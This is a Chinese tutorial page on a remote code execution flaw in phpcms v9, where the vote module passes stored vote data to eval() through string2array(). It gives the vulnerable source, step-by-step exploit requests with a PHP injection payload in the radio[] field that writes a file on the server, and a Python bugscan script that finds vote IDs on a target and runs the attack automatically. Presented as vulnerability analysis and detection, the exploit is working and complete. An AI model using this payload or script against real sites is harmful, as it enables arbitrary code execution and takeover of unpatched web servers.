您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
phpcms前台任意代码执行漏洞的方法实例
凡蕾2025-05-23phpcms教程已有人查阅
导读phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞/phpsso_server/phpcms/libs/functions/global.func.php
phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞
/phpsso_server/phpcms/libs/functions/global.func.php
1.首先找到一个可以投票的id参数subjectid
2.发起投票,post数据
附上一个用于bugscan检测脚本
/phpsso_server/phpcms/libs/functions/global.func.php
/**
* 将字符串转换为数组
*
* @paramstring$data字符串
* @returnarray返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
if($data == '''') return array();
eval("\$array = $data;");
return $array;
}
在文件/phpcms/modules/vote/index.php中,我们找到它的执行流程
/**
* 处理投票
*/
public function post(){
$subjectid = intval($_POST[''subjectid'']);
if(!$subjectid)showmessage(L(''vote_novote''),''blank'');
//当前站点
$siteid = SITEID;
//判断是否已投过票,或者尚未到第二次投票期
$return = $this->check($subjectid);
switch ($return) {
case 0:
showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
break;
case -1:
showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
break;
}
if(!is_array($_POST[''radio''])) showmessage(L(''vote_nooption''),''blank'');
$time = SYS_TIME;
$data_arr = array();
foreach($_POST[''radio''] as $radio){//接收POST传递的radio并转换为$radio数组
$data_arr[$radio]=''1'';
}
$new_data = array2string($data_arr);//转成字符串存入数据库中
//添加到数据库
$this->vote_data->insert(array(''userid''=>$this->userid,''username''=>$this->username,''subjectid''=>$subjectid,''time''=>$time,''ip''=>$this->ip,''data''=>$new_data));
//把字符串$new_data放到data里面
//查询投票奖励点数,并更新会员点数
$vote_arr = $this->vote->get_one(array(''subjectid''=>$subjectid));
pc_base::load_app_class(''receipts'',''pay'',0);
receipts::point($vote_arr[''credit''],$this->userid, $this->username, '''',''selfincome'',L(''vote_post_point''));
//更新投票人数
$this->vote->update(array(''votenumber''=>''+=1''),array(''subjectid''=>$subjectid));
showmessage(L(''vote_votesucceed''), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
}
/**
*
* 投票结果显示
*/
public function result(){
$siteid = SITEID;
$subjectid = abs(intval($_GET[''subjectid'']));
if(!$subjectid)showmessage(L(''vote_novote''),''blank'');
//取出投票标题
$subject_arr = $this->vote->get_subject($subjectid);
if(!is_array($subject_arr)) showmessage(L(''vote_novote''),''blank'');
extract($subject_arr);
//获取投票选项
$options = $this->vote_option->get_options($subjectid);
//新建一数组用来存新组合数据
$total = 0;
$vote_data =array();
$vote_data[''total''] = 0 ;//所有投票选项总数
$vote_data[''votes''] = 0 ;//投票人数
//获取投票结果信息
$infos = $this->vote_data->select(array(''subjectid''=>$subjectid),''data'');
//循环每个会员的投票记录
foreach($infos as $subjectid_arr) {
extract($subjectid_arr);
$arr = string2array($data);//调用了string2array进入eval函数
foreach($arr as $key => $values){
$vote_data[$key]+=1;
}
$total += array_sum($arr);
$vote_data[''votes'']++ ;
}
$vote_data[''total''] = $total ;
//SEO设置
$SEO = seo(SITEID, '''', $subject, $description, $subject);
include template(''vote'',''vote_result'');
}
所以执行的过程就是1.首先找到一个可以投票的id参数subjectid
2.发起投票,post数据
/index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1
subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"vulnerable test");
3.然后我们再查看result,触发string2array函数
/index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1
4.再看看是否有readme.php文件存在。附上一个用于bugscan检测脚本
Python
# !/usr/bin/dev python
# -*- coding:utf-8 -*-
import re
import urllib
import urllib2
def get_vote_links(args):
vul_url = args
vote_url = ''%sindex.php?m=vote'' % vul_url
code, head, res, _, _ = curl.curl(vote_url)
ids = []
for miter in re.finditer(r''<a href=.*?subjectid=(?P<id>\d+)'', res, re.DOTALL):
ids.append(miter.group(''id''))
if len(ids) == 0:
return None
return list(set(ids))
def assign(service, args):
if service == ''phpcms'':
return True, args
pass
def audit(args):
vul_url = args
ids = get_vote_links(args)
if ids:
for i in ids:
exploit_url = ''%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1'' % (vul_url, i)
payload = {''subjectid'': 1,
''radio[]'': '');fputs(fopen(base64_decode(YnVnc2Nhbi5waHA=),w),"vulnerable test");''}
post_data = urllib.urlencode(payload)
curl.curl(''-d "%s" %s'' % (post_data, exploit_url))
verify_url = ''%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1'' % (vul_url, i)
curl.curl(verify_url)
shell_url = ''%sbugscan.php'' % vul_url
code, head, res, _, _ = curl.curl(shell_url)
if code == 200 and ''vulnerable test'' in res:
security_hole(vul_url)
pass
if __name__ == "__main__":
from dummy import *
audit(assign(''phpcms'', ''http:// .example.com/'')[1])
本文标签:
很赞哦! ()
下一篇:Phpcms安装开发教程
相关教程
图文教程
phpcmsv9验证码不显示的解决方法
最近有朋友遇到网站迁移后管理后台登陆验证码不显示的问题,今天在这里总结下Phpcms V9管理后台登陆验证码不显示的解决方法,希望对学习phpcms的朋友有点用处。
phpcms生成缩略图失败的解决方法
phpcms生成缩略图失败解决方法:首先打开“phpcms/modules/attachment/attachments.php”文件;然后将第50行的判断,进行注释或删除即可,其原因是判断的值有可能为空
PHPCMS安装步骤和使用教程(含目录结构说明)
phpcms教程栏目介绍PHPCMS如何安装使用。安装步骤:在本地环境进行安装,请确保在安装前已配置好本地服务器。
phpcms实用调用代码
1、在文章前面显示文章类别2、指定变量循环增长3、文章调用使用limit4、文章从指定位置开始调用起始位置为5,调用3条
相关源码
-
帝国CMS7.5养生生活健康网模板完整带会员中心可封装APP本套模板为生活服务类网站设计,适用于两性健康、减肥瘦身、生活资讯等领域。采用帝国CMS7.5核心开发,结构清晰合理,视觉体验舒适,能够有效满足相关行业的建站需求。查看源码 -
(PC+WAP)企业管理工程造价资产评估财务审计带留言网站模板本模板基于PbootCMS内核开发,为工程造价咨询、财务审计类企业量身打造,同时支持多行业快速适配。采用PC+WAP双端同步设计,数据实时互通,助您高效展示企业形象与服务能力。查看源码 -
(自适应响应式)投资理财金融机构财务管理pbootcms模板本模板基于PbootCMS系统开发,为投资理财、金融机构等行业设计。采用专业严谨的布局风格,突出金融服务行业特色,适合展示各类理财产品、投资服务和金融资讯。查看源码 -
自适应电子科技类产品公司pbootcms网站模板基于PbootCMS内核开发,为电子科技类企业设计,适用于电子产品展示、企业官网等场景。该模板采用开源架构,用户可自由访问和修改源码,灵活适配各类行业需求,无需二次开发成本查看源码 -
(自适应)蓝色自动溶剂萃取仪器设备类网站pbootcms模板下载本模板为溶剂萃取设备、实验室仪器等精密仪器行业设计,采用PbootCMS内核开发,具有高度专业性和行业适配性。模板设计充分考虑了仪器设备行业展示需求,能够呈现各类精密仪器的技术参数、应用场景和解决方案。查看源码 -
(自适应响应式)html5蓝色智能水表营销型网站pbootcms模板下载PbootCMS内核开发,为智能水表企业打造的营销型网站解决方案,本模板基于PbootCMS内核开发,为智能水表及相关行业企业设计,采用HTML5+CSS3技术构建,具有响应式布局。查看源码
| 分享笔记 (共有 篇笔记) |
